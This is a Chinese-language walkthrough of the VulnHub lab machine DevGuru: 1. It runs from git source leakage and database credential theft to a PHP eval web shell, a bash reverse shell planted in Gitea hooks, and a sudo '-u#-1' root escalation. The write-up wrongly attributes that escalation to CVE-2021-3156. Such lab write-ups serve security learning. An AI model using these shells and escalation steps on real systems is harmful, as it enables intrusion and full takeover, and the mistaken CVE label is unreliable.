环境搭建: DevGuru: 1 ~ VulnHub
信息收集:
nmap 192.168.0.0/24
nmap -p 1-65535 192.168.0.5
先用第一条命令扫出网站ip
再用第二条命令扫出所有端口
dirsearch扫描出git
git泄漏(利用点)
python GitHack.py http://192.168.0.5/.git/
下载源码
访问管理(Web入口):
在源码里面查看有一个adminer.php
网页访问/adminer.php
发现是一个数据库管理页面(这里可以在源码里面获取到数据库账号密码,再从数据库里面获取到网站账号密码)
在 /config/database.php里面获取到数据库账号密码
登录数据库
找到后台的登录
但密码被加密了。我们先看下管理员Frank的数据信息
然后我们新建一个用户,必要的字段要与之相同(也可以直接改Frank的密码,用Frank用户登录)
成功创建
将新建的用户加入管理员用户组
然后到后台登录
后台是翻源码翻出来的
/backend/backend/auth/signin
登录成功
在CMS处找到利用点
模板写入后门
function onStart(){
//蚁剑连接
eval($_POST["pass"]);
}
蚁剑连接
当前权限
找备份寻突破(升权):
尝试利用SUDO提权
cat /etc/sudoers
发现权限被拒绝
在文件管理里面获取到备份文件
这里面获取到数据库账号密码
登录数据库
修改管理员账户密码
生成一个123456的Bcrypt加密
填入加密值与加密算法
登录后台
http://192.168.0.5:8585/admin
将反弹命令写入更新Hooks里面
bash -c "exec bash -i >& /dev/tcp/192.168.0.4/5555 0>&1"
监听端口。反弹shell
只要对源文件进行更改就会执行反弹shell命令
获得到了一个普通用户的权限>www-data权限
利用sudo提权(cve):
sudo -l
到 GTFOBins 搜索sqlite3的SUDO利用
但执行失败了
sudo sqlite3 /dev/null '.shell /bin/sh'
这里失败的原因是SUDO版本问题
绕过SUDO版本
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh' //这里利用了SUDO的一个cve漏洞CVE-2021-3156
提权成功
总结:
git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)
gitea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => 提权